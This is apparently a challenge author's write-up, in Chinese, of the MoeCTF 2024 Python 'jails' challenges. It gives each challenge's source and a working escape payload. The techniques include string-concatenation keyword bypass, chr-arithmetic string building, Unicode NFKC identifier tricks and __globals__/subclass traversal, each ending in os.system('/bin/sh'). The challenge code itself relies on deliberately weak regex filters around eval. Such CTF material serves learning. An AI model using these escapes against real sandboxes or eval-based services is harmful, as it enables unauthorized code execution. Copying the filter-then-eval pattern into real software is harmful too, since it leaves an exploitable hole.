MoeCTF 2024 Jails Writeups

Wed Oct 09 2024

Jails Writeups

感觉这次的 jails 出的不是很有水平,不如去年空白佬出的那套有意义,先给大家道个歉。

## reader

任意文件读,题目源码如下

import re
 
fd = open("/tmp/therealflag", "r")
the_real_flag = fd.read().strip()  # u can't catch me, i am ________
os.system("rm /tmp/therealflag")
 
 
def chall(input, print):
    filename = input("🧐 What file you want to view? ")
    if re.match(r".*[flag]{3,}.*", filename):
        print("😡 Access denied, try again")
    else:
        print(f"👍 Here is your file: {filename}", f"{open(filename, 'r').read()}")

## level 1

简单的关键词绕过,题目源码如下

import re
 
def my_safe_eval(code):
    if re.match(r"os|system|[\\\+]", code):
        return "Hacked By Rx"
    return eval(code)
 
 
def chall(input, print):
    code: str = input("Give me your payload:")
    if len(code) > 100:
        print("Too long code, Sry!")
        return
    value = my_safe_eval(code)
    print(value)

只 ban 了 ossystem \ + ,但是可以用 python 的特性绕过,用我们小学二年级学过的 python 知识,可以知道 python 的字符串拼接可以不用写加号,直接将两个字符串字面量放在一起就行,如下:

assert "py""thon" == "python"

所以直接 getattr(__import__("o""s"),"sys""tem")("/bin/sh") 即可获得 shell

## level 2

还是简单的绕过,题目源码如下

import re
 
def chall(input,print):
    code = input("Give me your code: ")
    if re.search(r'["\'0-8bd]|[^\x00-\xff]', code):
        print("Nope")
        return
    eval(code) 

坏了,我在写 wp 的时候已经忘了我当时想考什么了

看 hint 可以知道这题 ban 了所有非 ASCII 字符和 " ' b d 以及 0 - 8 的数字

因为没有引号,所以没法输入字符串...吗?其实还是可以的,我们可以利用 chr 来获取单个字符,用 str().join(chr(i) for i in [...]) 来获取字符串(x

我们先导入 os 模块,os => [111, 115] => [999//9, 999//9 + len(str(9999))],因此可以用 __import__(str().join(chr(i) for i in [999//9, 999//9 + len(str(9999))])).system 来拿到 system 函数

同理 sh => [105, 104] => [999 // 9 + len(str(9999)), 999 // 9 - len(str(9999999))],最终得到 payload 如下:

__import__(str().join(chr(i) for i in [999 // 9, 999 // 9 + len(str(9999))])).system(str().join(chr(i) for i in [999 // 9 + len(str(9999)), 999 // 9 - len(str(9999999))]))

这题出的实在没水平,红豆泥私密马赛

## level 2.5

在 level 2 的基础上额外 ban 了一些字符,题目源码如下

import re
 
def chall(input, print):
    code = input("Give me your code: ")
    if re.search(r'["\'0-8bdhosxy_]|[^\x00-\xff]', code):
        print("Nope")
        return
    if len(code) > 15:
        print("Too long")
        return
    eval(code)

从 hint 拿到屏蔽的字符,注意到注意力惊人e v a l i n p u t 这几个字符没有被屏蔽,所以直接构造 payload eval(input()) 就拿到了一个可用的 eval,再 __import__("os").system("/bin/sh") 即可获得 shell~~(其实这个解对 level 2 也是可以直接用的,甚至可能更好想)~~

## level 3

用 unicode 绕过,题目源码如下

import re
 
def chall(input, print):
    while True:
        code = input("Give me your code: ")
        if re.search(r"[A-z0-9]", code):
            print("Nope")
            return
        eval(code)

可以看看这个 PEP 3131

该PEP提议在Python标识符中引入对非ASCII字符的支持,具体修改包括所有标识符在解析时将被转换为NFKC标准化形式,并基于此进行比较。因此虽然正则表达式屏蔽了所有 ASCII 字母,但是可以用对应的 Unicode 字符进行绕过。

一个简单的转换脚本如下:

def unicode_bypass(i):
    return "".join(chr(ord(x) + 119789) if ord("a") <= ord(x) <= ord("z") else x for x in i)
 
unicode_bypass("eval(input())")

即可得到一个可用的 eval,直接 __import__("os").system("/bin/sh") 即可获得 shell

## level 4

简单的原型链绕过,题目源码如下

def chall(input, print):
    print("""Hint: eval(code, {"__builtins__": {"eval": lambda *x: print("sry, no eval for u")},},{},)""")
    code = input("Give me your code: ")
    eval(
        code,
        {
            "__builtins__": {"eval": lambda *x: print("sry, no eval for u")},
        },
        {},
    )

预期的解法是利用 eval,因为这个 eval 是被覆盖了的函数,所以不是 builtin_function_or_method,而是 function,因此可以直接从这个 eval 中拿到函数定义时的 __globals__,并从这个 __globals__ 中还原 __builtins__,完整 payload 如下

eval.__globals__["__builtins__"].__spec__.loader().load_module("os").system("/bin/sh")

当然本题也存在通解

[
    x.__init__.__globals__
    for x in "".__class__.__base__.__subclasses__()
    if x.__name__ == "_wrap_close"
][0]["system"]("/bin/sh")